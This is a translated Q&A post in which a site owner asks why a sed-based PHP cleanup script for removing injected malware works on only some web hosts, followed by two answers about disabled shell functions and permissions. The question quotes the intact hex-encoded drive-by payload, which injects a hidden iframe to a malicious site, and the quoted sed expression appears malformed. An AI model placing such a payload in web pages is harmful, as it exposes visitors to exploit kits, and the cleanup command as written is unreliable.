为什么有些服务器无法运行SED命令?

时间:2011-08-31 05:46:10

标签: php sed

最近我一直试图在我的服务器上修复大量病毒,我怀疑是由于Blackhole工具包。它将一个js-script附加到index.php和.html文件的末尾,看起来像这样..

<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>

它是标准iframe病毒的编码版本。我一直试图通过运行如下所示的PHP脚本来删除它。 (这是堆栈溢出的解决方案)。

$dir = "./";

$removejs = `find $dir -name "*.php" -type f |xargs sed -i '<script>var t=.*eval.*script>##g' 2>&1`;

问题是,该脚本适用于某些服务器,而其他服务器似乎没有任何效果。有谁知道为什么?我已经尝试过至少10个独立的虚拟主机。该脚本仅在大约3台主机上成功运行。其余的都没有做任何事情。我需要更改哪些设置?

感谢我能得到的任何帮助。谢谢!

2 个答案:

答案 0 :(得分:1)

您正在使用的某些主机可能已禁用shell函数(execshell_execsystem等),可能是通过PHP臭名昭着的safe_mode配置选项。您需要在纯PHP中重写脚本,或者找到另一种方法来去除插入的内容。

答案 1 :(得分:1)

  1. 如果您正在使用http请求正确运行此脚本,即它由具有nobodyapache等用户权限的网络服务器运行,则使用sed -i命令由于权限不足,此脚本无法更改find找到的文件中的任何内容。

  2. 您的PHP安装可能会禁用反引号和/或任何其他形式的命令执行,因为它通常是直接安全威胁(使用safe_mode,使用PHP suhosin补丁指令等)。

  3. 您最好的选择是检查未执行此脚本的主机上的网络服务器日志。